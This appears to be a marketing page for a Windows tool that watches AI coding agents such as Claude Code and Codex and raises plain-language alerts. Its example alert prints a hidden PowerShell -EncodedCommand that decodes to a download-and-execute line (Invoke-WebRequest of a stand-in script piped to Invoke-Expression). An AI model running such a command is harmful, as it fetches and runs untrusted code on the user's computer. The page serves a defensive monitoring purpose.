For Windows 10 and 11

See what your AI agents actually do on your computer.

AI Agent Control Center watches Claude Code, Codex, Cursor and the other agents you use: the programs they start, the files they change and who they talk to on the internet. When something needs your attention, it tells you in plain words and says what to do.

Works with Claude Code Claude app Codex Cursor Gemini CLI OpenCode
Live on this computerAACC
Claude Code working now Claude app idle Codex working now Cursor recently active Gemini CLI idle AACC Alerts in plain words 1 Live map who touched what Activity who it talked to Agents local and cloud
Agents page

Know which agent is working, on what, right now.

AACC finds every AI agent on your computer by itself. Each one gets a card that says whether it is working now, was active recently, or is idle, which project it is working on, and how many sessions it ran today. Work your agents do in the cloud shows up beside them.

  • Working now means the agent is writing to its session right now, not just running in the background.
  • Which project comes from the agent's own session records, so you see the folder it worked in.
  • In the cloud: Claude and Codex sessions that run on the web, read from your GitHub activity.
  • Stop agent: one button to end an agent and everything it started.
AgentsToday
Claude CodeProject: invoice-app · 4 sessions today Working now
CodexProject: landing-site · 2 sessions today Recently active
Claude, in the cloudPushed 3 changes to invoice-app In the cloud
CursorLast active yesterday Idle

Example data, as the app shows it.

Alerts

Every alert says if it matters, and what to do about it.

You don't need to be a security expert. Each alert opens with one of three answers, explains what happened in everyday language, and lists the steps to take. If you want a second opinion, one button copies a full report you can send to an expert.

Normal Please check Act now
  • A red number on the taskbar icon and a dot on the tray icon when there is something new.
  • Routine work stays quiet. An app doing its usual job, like the Codex app playing its notification sound, is not an alert.
  • Windows notifications carry only the one-line title. You can turn them off.

An agent ran a hidden command

Act now
Started by
Codex→cmd.exe→powershell.exe
How it was hidden
The command was written in Base64 (-EncodedCommand), so it couldn't be read at a glance.
What it would do
Download a script from the internet and run it straight away.
What to do
  1. Press Stop agent on the Codex card.
  2. Don't approve the step if the agent asks again.
  3. Not sure? Use Copy report for an expert.

Example alert. Secrets in commands are removed before anything is saved or shown.

Attack steps

Follow every command back to the agent that started it.

Attackers have started using AI agents to run their steps for them. AACC traces each program an agent starts, decodes commands that were hidden, and recognises the moves attacks make: downloading and running code, reading saved passwords, switching off protection.

  • Verified parent chain. A program is tied to an agent only when the chain of who started it checks out. Otherwise it says "unknown".
  • Hidden commands decoded and shown with any secrets removed.
  • Your signed-in browser. An alert when an agent opens your own browser profile or takes remote control of a browser.
Process chainReplay
  1. Codexcodex.exe · project: landing-site
  2. Command Promptcmd.exe /c powershell ...
  3. PowerShell, hidden commandpowershell.exe -NoProfile -EncodedCommand SQBuAHYAbwBrAGUA...
  4. DecodedInvoke-WebRequest https://example.net/x.ps1 | Invoke-Expression
  5. Attack step: downloads and runs codeAct now · alert raised
Live map & Activity

A map of who touched what, drawn only from what was seen.

The map connects each agent to the folders it changed, the programs it ran and the services it talked to. Number addresses are turned into names and a purpose, so 160.79.104.12 reads as "Anthropic, the company behind Claude".

  • Seen or likely, never invented. A solid line was observed. A dashed line is a likely match and is labelled that way.
  • Repeats grouped. Routine activity shows once, as "7 times over 2 hours", with Show more for the full list.
  • Visual Mode for everyone, and a Technical Mode you can switch on in Settings.
MapLast hour
FOLDER invoice-app FOLDER landing-site PROGRAM PowerShell Claude Code AGENT Codex AGENT Anthropic Claude models OpenAI Codex models GitHub code hosting Cloudflare likely · hosting
Seen Likely Example data
Everything in the app

Built for people who let AI agents work on their computer.

Each part watches independently. AACC never asks an agent what it did; it looks for itself.

Watched folders

Folders added for you

AACC adds the project folders your agents work in by itself, and never your whole drive, Documents or Desktop. File contents are never read.

In the cloud

Cloud sessions, side by side

Claude and Codex sessions that run on the web appear next to your local agents, read from your own GitHub activity when you connect it.

Activity

Who it talked to, and why

Connections are named (OpenAI, Anthropic, GitHub, Cloudflare) with a sentence about what each service is for, using your own computer's lookups.

AI Tools

Every AI tool on this PC

Finds installed AI tools, including the Claude and Codex apps from the Microsoft Store, with optional checks for updates and known security issues.

Other AI programs

Programs using AI

Lists other programs on this computer that talk to AI models, including software you built yourself. Mark yours with "I know this one".

AI websites · optional

AI websites you used

If you turn it on, a list of AI websites used in your browser, such as ChatGPT or Kling AI. Off unless you switch it on; kept for 7 days.

Sensitive places

Medical records and wallets

An alert of its own when an agent reaches a health fund such as Clalit or Maccabi, or touches the storage where browser extensions like crypto wallets keep their data.

Secrets removed

Keys never stored

API keys, tokens and passwords in commands are removed before anything is saved, logged or shown on screen.

Stop agent

One button to stop

AACC watches and never interferes on its own. When you decide, Stop agent ends the agent and everything it started.

Claude Code hooks · optional

What the agent says it did

Turn on the Claude Code integration to add the agent's own record of each step, clearly marked as agent-reported.

Always on

Tray, startup, one copy

Starts with Windows, lives in the tray, and keeps watching when the window is closed. Only one copy ever runs.

Updates

What's new, in the app

When a new version is out, the app shows what changed in plain words and takes you to the download.

Privacy

What it sees stays on your computer.

Everything AACC records is kept in a database on your own computer. It doesn't upload your activity, files or commands anywhere. The one thing it sends is a licence check, and that carries only facts about the device, never what you or your agents did.

  • No telemetry. No usage tracking in the app.
  • Optional connections are off until you turn them on: GitHub, tool update checks, AI websites.
  • Network: who, not what. AACC sees which service a program reached, never the content.
What leaves your computerEvery 5 min
YOUR COMPUTER Programs & commands secrets removed File changes names, never contents Connections who, never what Alerts & history local database Licence check device ID · Windows version processor · memory app version aacc.software licence only GitHub if you connect it Update checks if turned on
Always sent Only if you turn it on
Good to know

What it doesn't do (yet)

AACC is still before version 1.0. Here is where it stands today.

It warns, it doesn't block

AACC watches and reports. It never stops an agent by itself; the Stop agent button is yours to press.

Windows only, for now

There is no macOS or Linux version yet.

The installer isn't signed yet

Windows SmartScreen shows a warning the first time. Choose "More info", then "Run anyway". The download page shows the file's fingerprint so you can check it.

It can't see inside a browser

AACC sees that an agent opened a browser and which services were reached, not which pages were viewed or what was typed.

Start watching your agents today.

Sign in with your email, download the installer, and activate with a one-time token.

Download for Windows